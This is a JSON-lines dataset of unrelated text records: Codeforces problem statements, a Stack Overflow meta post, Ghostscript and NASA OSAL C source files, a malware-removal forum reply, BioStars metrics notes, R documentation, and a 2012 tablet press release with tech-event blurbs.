{"text": "A Thue-Morse-Radecki-Mateusz sequence (Thorse-Radewoosh sequence in short) is an infinite sequence constructed from a finite sequence $$$\\mathrm{gen}$$$ of length $$$d$$$ and an integer $$$m$$$, obtained in the following sequence of steps:\n\n- In the beginning, we define the one-element sequence $$$M_0=(0)$$$.\n- In the $$$k$$$-th step, $$$k \\geq 1$$$, we define the sequence $$$M_k$$$ to be the concatenation of the $$$d$$$ copies of $$$M_{k-1}$$$. However, each of them is altered slightly — in the $$$i$$$-th of them ($$$1 \\leq i \\leq d$$$), each element $$$x$$$ is changed to $$$(x+\\mathrm{gen}_i) \\pmod{m}$$$.\n\nFor instance, if we pick $$$\\mathrm{gen} = (0, \\color{blue}{1}, \\color{green}{2})$$$ and $$$m = 4$$$:\n\n- $$$M_0 = (0)$$$,\n- $$$M_1 = (0, \\color{blue}{1}, \\color{green}{2})$$$,\n- $$$M_2 = (0, 1, 2, \\color{blue}{1, 2, 3}, \\color{green}{2, 3, 0})$$$,\n- $$$M_3 = (0, 1, 2, 1, 2, 3, 2, 3, 0, \\color{blue}{1, 2, 3, 2, 3, 0, 3, 0, 1}, \\color{green}{2, 3, 0, 3, 0, 1, 0, 1, 2})$$$, and so on.\n\nAs you can see, as long as the first element of $$$\\mathrm{gen}$$$ is $$$0$$$, each consecutive step produces a sequence whose prefix is the sequence generated in the previous step. Therefore, we can define the infinite Thorse-Radewoosh sequence $$$M_\\infty$$$ as the sequence obtained by applying the step above indefinitely. For the parameters above, $$$M_\\infty = (0, 1, 2, 1, 2, 3, 2, 3, 0, 1, 2, 3, 2, 3, 0, 3, 0, 1, \\dots)$$$.\n\nMateusz picked a sequence $$$\\mathrm{gen}$$$ and an integer $$$m$$$, and used them to obtain a Thorse-Radewoosh sequence $$$M_\\infty$$$. He then picked two integers $$$l$$$, $$$r$$$, and wrote down a subsequence of this sequence $$$A := ((M_\\infty)_l, (M_\\infty)_{l+1}, \\dots, (M_\\infty)_r)$$$.\n\nNote that we use the $$$1$$$-based indexing both for $$$M_\\infty$$$ and $$$A$$$.\n\nMateusz has his favorite sequence $$$B$$$ with length $$$n$$$, and would like to see how large it is compared to $$$A$$$. Let's say that $$$B$$$ majorizes sequence $$$X$$$ of length $$$n$$$ (let's denote it as $$$B \\geq X$$$) if and only if for all $$$i \\in \\{1, 2, \\dots, n\\}$$$, we have $$$B_i \\geq X_i$$$.\n\nHe now asks himself how many integers $$$x$$$ in the range $$$[1, |A| - n + 1]$$$ there are such that $$$B \\geq (A_x, A_{x+1}, A_{x+2}, \\dots, A_{x+n-1})$$$. As both sequences were huge, answering the question using only his pen and paper turned out to be too time-consuming. Can you help him automate his research?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "This is an interactive problem. This problem doesn't support hacks.\n\nSphinx's duty is to guard the city of Thebes by making sure that no unworthy traveler crosses its gates. Only the ones who answer her riddle timely and correctly (or get an acc for short) are allowed to pass. As of those who fail, no one heard of them ever again...\n\nSo you don't have a choice but to solve the riddle. Sphinx has an array $$$a_1, a_2, \\ldots, a_n$$$ of nonnegative integers strictly smaller than $$$2^b$$$ and asked you to find the maximum value among its elements. Of course, she will not show you the array, but she will give you $$$n$$$ and $$$b$$$. As it is impossible to answer this riddle blindly, you can ask her some questions. For given $$$i, y$$$, she'll answer you whether $$$a_i$$$ is bigger than $$$y$$$. As sphinxes are not very patient, you can ask at most $$$3 \\cdot (n + b) $$$ such questions.\n\nAlthough cunning, sphinxes are honest. Even though the array can change between your queries, answers to the previously asked questions will remain valid.", "source": "cpt_codeforces", "language": "en", "token_count": 258, "token_count_with_eod": 259, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I ran a rough search on meta and couldn't find this topic.\nSo recently I received the Edit Questions And Answers privilege which says:\nonce you've generated enough reputation, we trust you to edit anything in the system without it going through peer review. Not just your posts—anyone's posts!\nI'm on SO for about 3 years and only starting september 2017 I started really answering questions and let me tell you, getting 2000 rep is easy.\nThankfully, while answering, I also suggested edits, which they got approved. I have 33 edit suggestions approved, and 3 edit suggestions rejected (2 of the rejected ones I knew for sure I was right, I resubmitted them and got approved by other more careful reviewers).\nSo yeah, I feel confident when I edit other posts, because I only do that when I'm sure I'm right.\nHowever, I don't think that's always true. One popular question/answer might boost someone's rep to the point they get this privilege and can wrongfully edit anyone's post.\nI believe this privilege should be received under conditions similar to the followings (feel free to propose other values if you feel they are inaccurate):\n- yes, 2000 rep is ok\n- but also at least 10 suggestion edits, with 90% of them approved.\n- If they have more suggestion edits by the time they get to 2000 rep, that 90% percent should apply to the whole number (you have 100 suggestion edits, max 10 are allowed to be rejected)\nThis criteria makes it relevant to know if you are indeed entitled to edit anyone's post.\nSame thing will apply for Approve Tag Wiki Edits privilege. I would also take into account the number of tags suggested, approved and in use.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 391, "token_count_with_eod": 392, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/* Copyright (C) 2001-2021 Artifex Software, Inc.\n   All Rights Reserved.\n\n   This software is provided AS-IS with no warranty, either express or\n   implied.\n\n   This software is distributed under license and may not be copied,\n   modified or distributed except as expressly authorized under the terms\n   of the license contained in the file LICENSE in this distribution.\n\n   Refer to licensing information at http://www.artifex.com or contact\n   Artifex Software, Inc.,  1305 Grant Avenue - Suite 200, Novato,\n   CA 94945, U.S.A., +1(415)492-9861, for further information.\n*/\n\n\n/* Sony News frame buffer driver for GhostScript */\n#include \"gdevprn.h\"\n#define prn_dev ((gx_device_printer *)dev) /* needed in 5.31 et seq */\n/*#include <sys/types.h> problems with ushort! */\ntypedef\tchar *\tcaddr_t;\ntypedef\tlong\toff_t;\n#include <sys/uio.h>\n#include <newsiop/framebuf.h>\n\n/* The device descriptor */\nstatic dev_proc_open_device(sonyfb_open);\nstatic dev_proc_output_page(sonyfb_output_page);\nstatic dev_proc_close_device(sonyfb_close);\nstatic gx_device_procs sonyfb_procs =\n  prn_procs(sonyfb_open, sonyfb_output_page, sonyfb_close);\nconst gx_device_printer far_data gs_sonyfb_device =\n  prn_device(sonyfb_procs, \"sonyfb\",\n        102.4,\t\t\t\t/* width_10ths */\n        103.2,\t\t\t\t/* height_10ths */\n        100,\t\t\t\t/* x_dpi */\n        100,\t\t\t\t/* y_dpi */\n        0,0,0,0,\t\t\t/* margins */\n        1, 0);\n\nstatic int fb_file = -1;\nsPrimRect prect;\n\nstatic int\nsonyfb_open(gx_device *dev)\n{\n  sScrType stype;\n\n  if(fb_file < 0)\n    if((fb_file = open(\"/dev/fb\", 2)) < 0)\n      perror(\"open failed\");\n    else\n      if(ioctl(fb_file, FBIOCGETSCRTYPE, &stype) < 0)\n        perror(\"ioctl failed\");\n      else\n        prect.rect = stype.visiblerect;\n\n  return gdev_prn_open(dev);\n}\n\nstatic int\nsonyfb_close(gx_device *dev)\n{\n  if(fb_file >= 0)\n    {\n      close(fb_file);\n      fb_file = -1;\n    }\n  return gdev_prn_close(dev);\n}\n\n#define FRAME_WIDTH\t1024\n\n/* Send the page to the printer. */\nstatic int\nsonyfb_output_page(gx_device *dev, int num_copies, int flush)\n{\n  int l, i, byte_width, height;\n  unsigned char *bm, *fbs, *fb;\n\n  byte_width = (dev->width + 7) / 8;\n  height = dev->height;\n  bm\t = (typeof(bm))prn_dev->mem.base;\n\n  prect.refPoint.x = 0;\n  prect.refPoint.y = 0;\n  prect.ptnRect = prect.rect;\n\n  prect.ptnBM.type  = BM_MEM;\n  prect.ptnBM.depth = 1;\n  prect.ptnBM.width = (byte_width + 1) / 2;\n  prect.ptnBM.rect.origin.x = 0;\n  prect.ptnBM.rect.origin.y = 0;\n  prect.ptnBM.rect.extent.x = byte_width * 8; /* width in 16bit words */\n  prect.ptnBM.rect.extent.y = height;\n  prect.ptnBM.base = (typeof(prect.ptnBM.base))bm;\n\n  prect.fore_color = 1;\n  prect.aux_color = 0;\n  prect.planemask = FB_PLANEALL;\n  prect.transp = 0;\n  prect.func = BF_S;\n  prect.clip = prect.rect;\n  prect.drawBM.type  = BM_FB;\n  prect.drawBM.depth = 1;\n  prect.drawBM.width = (prect.rect.extent.x + 15) / 16;\n  prect.drawBM.rect = prect.rect;\n  prect.drawBM.base = 0;\n\n  if(ioctl(fb_file, FBIOCRECTANGLE, &prect) < 0)\n    perror(\"rect ioctl failed\");\n\n  return gx_finish_output_page(dev, num_copies, flush);\n}", "source": "cpt_stack_code", "language": "code", "token_count": 1097, "token_count_with_eod": 1098, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Valentin participates in a show called \"Shockers\". The rules are quite easy: jury selects one letter which Valentin doesn't know. He should make a small speech, but every time he pronounces a word that contains the selected letter, he receives an electric shock. He can make guesses which letter is selected, but for each incorrect guess he receives an electric shock too. The show ends when Valentin guesses the selected letter correctly.\n\nValentin can't keep in mind everything, so he could guess the selected letter much later than it can be uniquely determined and get excessive electric shocks. Excessive electric shocks are those which Valentin got after the moment the selected letter can be uniquely determined. You should find out the number of excessive electric shocks.", "source": "cpt_codeforces", "language": "en", "token_count": 151, "token_count_with_eod": 152, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given an array $$$a$$$ of $$$n$$$ integers, where all elements $$$a_i$$$ lie in the range $$$[1, k]$$$. How many different arrays $$$b$$$ of $$$m$$$ integers, where all elements $$$b_i$$$ lie in the range $$$[1, k]$$$, contain $$$a$$$ as a subsequence? Two arrays are considered different if they differ in at least one position.\n\nA sequence $$$x$$$ is a subsequence of a sequence $$$y$$$ if $$$x$$$ can be obtained from $$$y$$$ by the deletion of several (possibly, zero or all) elements.\n\nSince the answer may be large, print it modulo $$$10^9 + 7$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 150, "token_count_with_eod": 151, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Hello moreparkin and welcome to BC\nI ran the combofix\nis an extremely powerful tool which should only be used when instructed to do so by someone who has been properly trained. ComboFix is intended by its creator to be \"used under the guidance and supervision of an expert\n\", NOT for private use\n. Please read Combofix's Disclaimer\n. Using this tool incorrectly could lead to disastrous problems with your operating system such as preventing it from ever starting again.\nIn order to provide you with the proper disinfection procedures, we need some additional information.\nWhat is your operating system: Windows XP, Vista, etc.\nWhat security programs do you have installed? Please name them.\nI have trojandownloader.exe on my computer\nWhat alerted you to its presence? Can you provide a file path? An example of a file path is C:\\WINDOWS\\SYSTEM\\VGA.DRV in which VGA.DRV is the file, SYSTEM is the folder it's in, WINDOWS is the folder SYSTEM is in, and C is the drive it's on.\nI have many types of spyware and adware popping up\nCan you please describe these? What do they look like? What do they say?\nHelp us help you. If HelpBot replies, you MUST follow step 1 in its reply so we know you need help.\nAn ounce of prevention is worth a pound of cure\nSpywareBlaster, WinPatrol Plus, ESET Internet Security, NoScript Firefox ext.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 308, "token_count_with_eod": 309, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The things we would like to know, and how they might be measured. We would need to have a baseline for each one, based on current BioStars activity in all domains.\n- Level of activity\n- number of new evolution-related questions (responses, answers) in the past month\n- up-votes and responses to existing evolution-related questions in the past month\n- Responsiveness and effectiveness\n- how many questions get an answer within a week? a response?\n- what is the distribution of waiting times for answers? responses?\n- how many users respond to (view) evolution-related questions?\n- what is the average expertise of users in this community?\n- what is the apparent male:female ratio?\n- how many different people view evolution-related content in a month?\nCaveat: the seasonality of academia-related efforts. Prior knowledge is that there are some really strange patterns, e.g., spike of activity just before winter break. If we do \"before\" in August, we really should wait until next August to do the \"after\".\nMethods and APIs\n- You can get a picture of activity by clicking on the tag cloud. Activity can be sorted by votes. For example: http://www.biostars.org/show/tag/phylogenentics/?sort=votes&since=all%20time\n- Everything can be measured retroactively, and there are API's to query site history. For example: a snapshot of the site 100 days ago can be obtained with http://www.biostars.org/api/stats/100/\nreported number of results based on August 20, 2013 search\n- phylostars 0\n- evolution 760\n- ortholog* 1790\n- paralog* 186\nphylogenetics - interestingly, most references to \"distance matrix\" and \"mega\" are the phylogenetics meanings\n- phylogen* 2920\n- Phylip 241\n- distance matrix 221\n- MEGA 137\n- MrBayes 124\n- PAUP 70\n- BEAST 68\n- phylogram 36\n- neighbor joining 28\n- cladogram 4\n- population genetics 260\n- \"dN/dS\" 175\n- tajima's D 78\n- \"nucleotide diversity\" 22\n- coalescent 19\n- McDonald-Kreitman 1\n- \"site frequency spectrum\" 1", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 544, "token_count_with_eod": 545, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "|Significance testing for the coefficients of Quasi binomial or the quasi Poisson regression||R Documentation|\nSignificance testing for the coefficients of Quasi binomial or the quasi Poisson regression.\nanova_propreg(mod, poia = NULL) anova_qpois.reg(mod, poia = NULL)\nAn object as returned by the \"prop.reg\" or the \"qpois.reg\" function.\nIf you want to test the significance of a single coefficient this must be a number. In this case, the \"prop.reg\" or the \"qpois.reg\" function contains this information. If you want more coefficients to be testes simultaneously, e.g. for a categorical predictor, then this must contain the positions of the coefficients. If you want to see if all coefficients are zero, like an overall F-test, leave this NULL.\nEven though the name of this function starts with anova it is not an ANOVA type significance testing, but a Wald type.\nA vector with three elements, the test statistic value, its associated p-value and the relevant degrees of freedom.\nR implementation and documentation: Michail Tsagris <email@example.com> and Manos Papadakis <firstname.lastname@example.org>.\nPapke L. E. & Wooldridge J. (1996). Econometric methods for fractional response variables with an application to 401(K) plan participation rates. Journal of Applied Econometrics, 11(6): 619-632.\nMcCullagh, Peter, and John A. Nelder. Generalized linear models. CRC press, USA, 2nd edition, 1989.\nprop.reg, qpois.reg, univglms, score.glms, logistic_only\ny <- rbeta(1000, 1, 4) x <- matrix(rnorm(1000 * 3), ncol = 3) a <- prop.reg(y, x) ## all coefficients are tested res<-anova_propreg(a) ## the first predictor variable is tested res<-anova_propreg(a, 2) a ## this information is already included in the model output ## the first and the second predictor variables are tested res<-anova_propreg(a, 2:3)\nAdd the following code to your website.\nFor more information on customizing the embed code, read Embedding Snippets.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 502, "token_count_with_eod": 503, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Alica and Bob are playing a game.\n\nInitially they have a binary string $$$s$$$ consisting of only characters 0 and 1.\n\nAlice and Bob make alternating moves: Alice makes the first move, Bob makes the second move, Alice makes the third one, and so on. During each move, the current player must choose two different adjacent characters of string $$$s$$$ and delete them. For example, if $$$s = 1011001$$$ then the following moves are possible:\n\n1. delete $$$s_1$$$ and $$$s_2$$$: $$$\\textbf{10}11001 \\rightarrow 11001$$$;\n2. delete $$$s_2$$$ and $$$s_3$$$: $$$1\\textbf{01}1001 \\rightarrow 11001$$$;\n3. delete $$$s_4$$$ and $$$s_5$$$: $$$101\\textbf{10}01 \\rightarrow 10101$$$;\n4. delete $$$s_6$$$ and $$$s_7$$$: $$$10110\\textbf{01} \\rightarrow 10110$$$.\n\nIf a player can't make any move, they lose. Both players play optimally. You have to determine if Alice can win.", "source": "cpt_codeforces", "language": "en", "token_count": 288, "token_count_with_eod": 289, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/*\n *  NASA Docket No. GSC-18,370-1, and identified as \"Operating System Abstraction Layer\"\n *\n *  Copyright (c) 2019 United States Government as represented by\n *  the Administrator of the National Aeronautics and Space Administration.\n *  All Rights Reserved.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *    http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\n/*\n * File:     bsp_start.c\n * \\ingroup  stateos\n * \\author   Rajmund Szymanski\n *\n */\n\n/*\n**  Include Files\n*/\n#include <stdio.h>\n#include <stdlib.h>\n#include \"os.h\"\n#include \"bsp_internal.h\"\n\n/*\n** Global variables\n*/\nOS_BSP_impl_GlobalData_t OS_BSP_impl_Global;\n\n/* ---------------------------------------------------------\n    OS_BSP_Init()\n\n     Helper function\n   --------------------------------------------------------- */\nvoid OS_BSP_Init(void)\n{\n    /*\n     * Initially clear the global objects\n     */\n    memset(&OS_BSP_Global, 0, sizeof(OS_BSP_Global));\n    memset(&OS_BSP_impl_Global, 0, sizeof(OS_BSP_impl_Global));\n\n    /* Initialize the low level access mutex (w/priority inheritance) */\n    OS_BSP_impl_Global.AccessMutex = mtx_create(mtxErrorCheck + mtxPrioInherit, 0);\n    if (OS_BSP_impl_Global.AccessMutex == NULL)\n    {\n        BSP_DEBUG(\"mutex create failed\\n\");\n    }\n}\n\n/*----------------------------------------------------------------\n   OS_BSP_Lock_Impl\n   See full description in header\n ------------------------------------------------------------------*/\nvoid OS_BSP_Lock_Impl(void)\n{\n    int status;\n\n    status = mtx_lock(OS_BSP_impl_Global.AccessMutex);\n    if (status != E_SUCCESS)\n    {\n        BSP_DEBUG(\"mutex lock errno: %d\\n\", status);\n    }\n}\n\n/*----------------------------------------------------------------\n   OS_BSP_Unlock_Impl\n   See full description in header\n ------------------------------------------------------------------*/\nvoid OS_BSP_Unlock_Impl(void)\n{\n    int status;\n\n    status = mtx_unlock(OS_BSP_impl_Global.AccessMutex);\n    if (status != E_SUCCESS)\n    {\n        BSP_DEBUG(\"mutex unlock errno: %d\\n\", status);\n    }\n}\n\n/* ---------------------------------------------------------\n    OS_BSP_GetReturnStatus()\n\n     Helper function to convert an OSAL status code into\n     a code suitable for returning to the OS.\n   --------------------------------------------------------- */\nint OS_BSP_GetReturnStatus(void)\n{\n    return OS_BSP_Global.AppStatus;\n}\n\n/* ---------------------------------------------------------\n    OS_BSP_Shutdown_Impl()\n\n     Helper function to abort the running task\n   --------------------------------------------------------- */\nvoid OS_BSP_Shutdown_Impl(void)\n{\n    abort();\n}\n\n/* ---------------------------------------------------------\n    OS_BSP_Main()\n\n     BSP Application entry point.\n   --------------------------------------------------------- */\nint OS_BSP_Main(void)\n{\n    /*\n     * Perform BSP-specific initialization\n     * Currently BSP-specific initialization is performed in the API_Init function\n     */\n    // OS_BSP_Init();\n\n    /*\n     * Call application specific entry point.\n     * This should set up all user tasks and resources, then return\n     */\n    OS_Application_Startup();\n\n    /*\n     * OS_Application_Run() implements the background task.\n     * The user application may provide this, or a default implementation\n     * is used which just calls OS_IdleLoop().\n     */\n    OS_Application_Run();\n\n    /* Should typically never get here */\n    OS_BSP_Shutdown_Impl();\n\n    /* Preventing unwanted warning */\n    return 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 924, "token_count_with_eod": 925, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "|By PR Newswire||\n|December 12, 2012 11:01 AM EST||\nLONDON, December 12, 2012 /PRNewswire/ --\nWe've had iPods, Nintendo Wiis, laptops and now tablets as the items appearing at the top of the Christmas wish list. Laptop and PC sales have seen a sharp decline that's coincided with the rising popularity of tablet computers - more tablets are sold now than PCs, and by quite a margin. This is due to the ease of use of tablets and their superior portability. So, what are the options for tablets this Christmas?\nRight up there with the best of them is iPad mini. Tasked with creating a scaled down iPad, Apple created the beautiful iPad mini. Thinner than even iPhone 5, it is truly a design masterpiece. With all the apps, functionality and style of the traditional 9.7\" iPad, but with added portability and ease of use, it's a winner for young and old alike.\nThe main reason Apple even created a smaller version of iPad is the smaller 7\" tablets powered by Google's Android operating system - there was no guarantee that iPad 3 was going to be able to compete if people started to want lighter and smaller tablets. One of the most advanced, yet least expensive, is the Nexus 7 by Asus. The HD screen is sharper and of higher quality than iPad mini's, and inside it has a state of the art quad core processor. With the latest Android software it's also packed with features and is getting people all over the world excited.\nTalking of getting people excited all over the world, the Amazon Kindle Fire is also a much sought after tablet. With a 7\" display it's small and light, and the dual core processor is pokey enough to deal with 3D games and running multiple apps at once. Now that it's come to the UK, many have realised it offers great hardware and content for a great price.\nAnother great 7\" tablet is the Samsung Galaxy Tab 2 7.0. With typical Samsung design it's light, sleek and shiny, and the display is very response with a high contrast, ideal for movie watching. It's also got lots of unique features and content thanks to Samsung's top programmers, so you'll be able to do things on this that you can't on other tablets.\nIf you're not a mini-tablet fan, a really top end tablet that's getting a lot of traction is the Samsung Galaxy Note 10.1. The 10.1\" screen is perfect for media watching, although it doesn't quite compare with the sharpness of the display on iPad 3, but with the S Pen stylus there's loads you can do that just isn't possible on iPad 3 - hand write notes, draw, annotate pictures, create gesture shortcuts and more. The powerful quad core processor also means you can run a super smooth split screen mode, allowing you to use two apps at once, side by side.\nOf course, you can't forget iPad 3. The fantastic 9.7\" display pushes 3.1 million pixels, so it's superbly sharp and your HD content will look flawless. Even with this large screen, battery life is still over 10 hours, and with iOS 6 compatibility, the latest and greatest of Apple's features are all there. Don't forget, there are 275,000 tablets-specific apps for iPad 3 in the App Store, so there's content galore.\nFor the best deals on these tablets and more, head down to Carphone Warehouse or visit online. Currently it's running a UK's lowest priced tablets campaign, so you won't get a cheaper tablet anywhere else.\nNotes to Editors\n• Carphone Warehouse is the largest independent mobile phone retailer in the UK, with over 800 stores nationwide\n• Discover how to get more from your gadgets with eye openers from Carphone Warehouse. Eye openers is a YouTube channel which features videos of Carphone Warehouse team members sharing useful hints and tips on everything from laptops to Sat Navs to the latest mobile phones. With new videos being added each month, users can search through hundreds of videos at http://www.youtube.com/user/eyeopeners.\nAbout Carphone Warehouse and Geek Squad\nIn 2006 Best Buy established a partnership with Carphone Warehouse to bring its business model and mobile phone expertise to the US market under the banner 'Best Buy Mobile'. Two years later, Best Buy acquired 50% of The Carphone Warehouse's European and US retail interests for £1.1billion, creating Best Buy Europe. The joint venture now encompasses the following retail and technical support brands: Carphone Warehouse, The Phone House and Geek Squad.\nSOURCE Carphone Warehouse\nEstablished in 1998, Calsoft is a leading software product engineering Services Company specializing in Storage, Networking, Virtualization and Cloud business verticals. Calsoft provides End-to-End Product Development, Quality Assurance Sustenance, Solution Engineering and Professional Services expertise to assist customers in achieving their product development and business goals. The company's deep domain knowledge of Storage, Virtualization, Networking and Cloud verticals helps in delivering ...\nOct. 20, 2016 03:45 PM EDT Reads: 876\nExplosive growth in connected devices. Enormous amounts of data for collection and analysis. Critical use of data for split-second decision making and actionable information. All three are factors in making the Internet of Things a reality. Yet, any one factor would have an IT organization pondering its infrastructure strategy. How should your organization enhance its IT framework to enable an Internet of Things implementation? In his session at @ThingsExpo, James Kirkland, Red Hat's Chief Arch...\nOct. 20, 2016 03:00 PM EDT Reads: 5,861\nSYS-CON Media announced today that @WebRTCSummit Blog, the largest WebRTC resource in the world, has been launched. @WebRTCSummit Blog offers top articles, news stories, and blog posts from the world's well-known experts and guarantees better exposure for its authors than any other publication. @WebRTCSummit Blog can be bookmarked ▸ Here @WebRTCSummit conference site can be bookmarked ▸ Here\nOct. 20, 2016 02:15 PM EDT Reads: 9,556\nWebRTC defines no default signaling protocol, causing fragmentation between WebRTC silos. SIP and XMPP provide possibilities, but come with considerable complexity and are not designed for use in a web environment. In his session at @ThingsExpo, Matthew Hodgson, technical co-founder of the Matrix.org, discussed how Matrix is a new non-profit Open Source Project that defines both a new HTTP-based standard for VoIP & IM signaling and provides reference implementations.\nOct. 20, 2016 02:15 PM EDT Reads: 2,633\nVirgil consists of an open-source encryption library, which implements Cryptographic Message Syntax (CMS) and Elliptic Curve Integrated Encryption Scheme (ECIES) (including RSA schema), a Key Management API, and a cloud-based Key Management Service (Virgil Keys). The Virgil Keys Service consists of a public key service and a private key escrow service.\nOct. 20, 2016 02:15 PM EDT Reads: 835\n@ThingsExpo has been named the Top 5 Most Influential M2M Brand by Onalytica in the ‘Machine to Machine: Top 100 Influencers and Brands.' Onalytica analyzed the online debate on M2M by looking at over 85,000 tweets to provide the most influential individuals and brands that drive the discussion. According to Onalytica the \"analysis showed a very engaged community with a lot of interactive tweets. The M2M discussion seems to be more fragmented and driven by some of the major brands present in the...\nOct. 20, 2016 01:45 PM EDT Reads: 10,927\nIn his keynote at 19th Cloud Expo, Sheng Liang, co-founder and CEO of Rancher Labs, will discuss the technological advances and new business opportunities created by the rapid adoption of containers. With the success of Amazon Web Services (AWS) and various open source technologies used to build private clouds, cloud computing has become an essential component of IT strategy. However, users continue to face challenges in implementing clouds, as older technologies evolve and newer ones like Docke...\nOct. 20, 2016 01:45 PM EDT Reads: 2,125\n@ThingsExpo has been named the Top 5 Most Influential Internet of Things Brand by Onalytica in the ‘The Internet of Things Landscape 2015: Top 100 Individuals and Brands.' Onalytica analyzed Twitter conversations around the #IoT debate to uncover the most influential brands and individuals driving the conversation. Onalytica captured data from 56,224 users. The PageRank based methodology they use to extract influencers on a particular topic (tweets mentioning #InternetofThings or #IoT in this ...\nOct. 20, 2016 01:45 PM EDT Reads: 7,842\nYou have great SaaS business app ideas. You want to turn your idea quickly into a functional and engaging proof of concept. You need to be able to modify it to meet customers' needs, and you need to deliver a complete and secure SaaS application. How could you achieve all the above and yet avoid unforeseen IT requirements that add unnecessary cost and complexity? You also want your app to be responsive in any device at any time. In his session at 19th Cloud Expo, Mark Allen, General Manager of...\nOct. 20, 2016 01:30 PM EDT Reads: 704\nIn his keynote at 18th Cloud Expo, Andrew Keys, Co-Founder of ConsenSys Enterprise, provided an overview of the evolution of the Internet and the Database and the future of their combination – the Blockchain. Andrew Keys is Co-Founder of ConsenSys Enterprise. He comes to ConsenSys Enterprise with capital markets, technology and entrepreneurial experience. Previously, he worked for UBS investment bank in equities analysis. Later, he was responsible for the creation and distribution of life sett...\nOct. 20, 2016 01:30 PM EDT Reads: 5,053\nIn the next five to ten years, millions, if not billions of things will become smarter. This smartness goes beyond connected things in our homes like the fridge, thermostat and fancy lighting, and into heavily regulated industries including aerospace, pharmaceutical/medical devices and energy. “Smartness” will embed itself within individual products that are part of our daily lives. We will engage with smart products - learning from them, informing them, and communicating with them. Smart produc...\nOct. 20, 2016 01:15 PM EDT Reads: 1,383\nJust over a week ago I received a long and loud sustained applause for a presentation I delivered at this year’s Cloud Expo in Santa Clara. I was extremely pleased with the turnout and had some very good conversations with many of the attendees. Over the next few days I had many more meaningful conversations and was not only happy with the results but also learned a few new things. Here is everything I learned in those three days distilled into three short points.\nOct. 20, 2016 01:00 PM EDT Reads: 6,739\nSYS-CON Events announced today that Coalfire will exhibit at the 19th International Cloud Expo, which will take place on November 1–3, 2016, at the Santa Clara Convention Center in Santa Clara, CA. Coalfire is the trusted leader in cybersecurity risk management and compliance services. Coalfire integrates advisory and technical assessments and recommendations to the corporate directors, executives, boards, and IT organizations for global brands and organizations in the technology, cloud, health...\nOct. 20, 2016 12:30 PM EDT Reads: 1,427\nSYS-CON Events announced today that MathFreeOn will exhibit at the 19th International Cloud Expo, which will take place on November 1–3, 2016, at the Santa Clara Convention Center in Santa Clara, CA. MathFreeOn is Software as a Service (SaaS) used in Engineering and Math education. Write scripts and solve math problems online. MathFreeOn provides online courses for beginners or amateurs who have difficulties in writing scripts. In accordance with various mathematical topics, there are more tha...\nOct. 20, 2016 12:00 PM EDT Reads: 827\nCloud based infrastructure deployment is becoming more and more appealing to customers, from Fortune 500 companies to SMEs due to its pay-as-you-go model. Enterprise storage vendors are able to reach out to these customers by integrating in cloud based deployments; this needs adaptability and interoperability of the products confirming to cloud standards such as OpenStack, CloudStack, or Azure. As compared to off the shelf commodity storage, enterprise storages by its reliability, high-availabil...\nOct. 20, 2016 12:00 PM EDT Reads: 845\nIn the next forty months – just over three years – businesses will undergo extraordinary changes. The exponential growth of digitization and machine learning will see a step function change in how businesses create value, satisfy customers, and outperform their competition. In the next forty months companies will take the actions that will see them get to the next level of the game called Capitalism. Or they won’t – game over. The winners of today and tomorrow think differently, follow different...\nOct. 20, 2016 10:45 AM EDT Reads: 709\nWe all know the latest numbers: Gartner, Inc. forecasts that 6.4 billion connected things will be in use worldwide in 2016, up 30 percent from last year, and will reach 20.8 billion by 2020. We're rapidly approaching a data production of 40 zettabytes a day – more than we can every physically store, and exabytes and yottabytes are just around the corner. For many that’s a good sign, as data has been proven to equal money – IF it’s ingested, integrated, and analyzed fast enough. Without real-tim...\nOct. 20, 2016 10:00 AM EDT Reads: 3,846\nSYS-CON Events announced today that Transparent Cloud Computing (T-Cloud) Consortium will exhibit at the 19th International Cloud Expo®, which will take place on November 1–3, 2016, at the Santa Clara Convention Center in Santa Clara, CA. The Transparent Cloud Computing Consortium (T-Cloud Consortium) will conduct research activities into changes in the computing model as a result of collaboration between \"device\" and \"cloud\" and the creation of new value and markets through organic data proces...\nOct. 20, 2016 08:15 AM EDT Reads: 1,204\nBig Data, cloud, analytics, contextual information, wearable tech, sensors, mobility, and WebRTC: together, these advances have created a perfect storm of technologies that are disrupting and transforming classic communications models and ecosystems. In his session at @ThingsExpo, Erik Perotti, Senior Manager of New Ventures on Plantronics’ Innovation team, provided an overview of this technological shift, including associated business and consumer communications impacts, and opportunities it ...\nOct. 20, 2016 08:15 AM EDT Reads: 3,393\nSYS-CON Events announced today that Numerex Corp, a leading provider of managed enterprise solutions enabling the Internet of Things (IoT), will exhibit at the 19th International Cloud Expo | @ThingsExpo, which will take place on November 1–3, 2016, at the Santa Clara Convention Center in Santa Clara, CA. Numerex Corp. (NASDAQ:NMRX) is a leading provider of managed enterprise solutions enabling the Internet of Things (IoT). The Company's solutions produce new revenue streams or create operating...\nOct. 20, 2016 08:15 AM EDT Reads: 2,602", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 3556, "token_count_with_eod": 3557, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
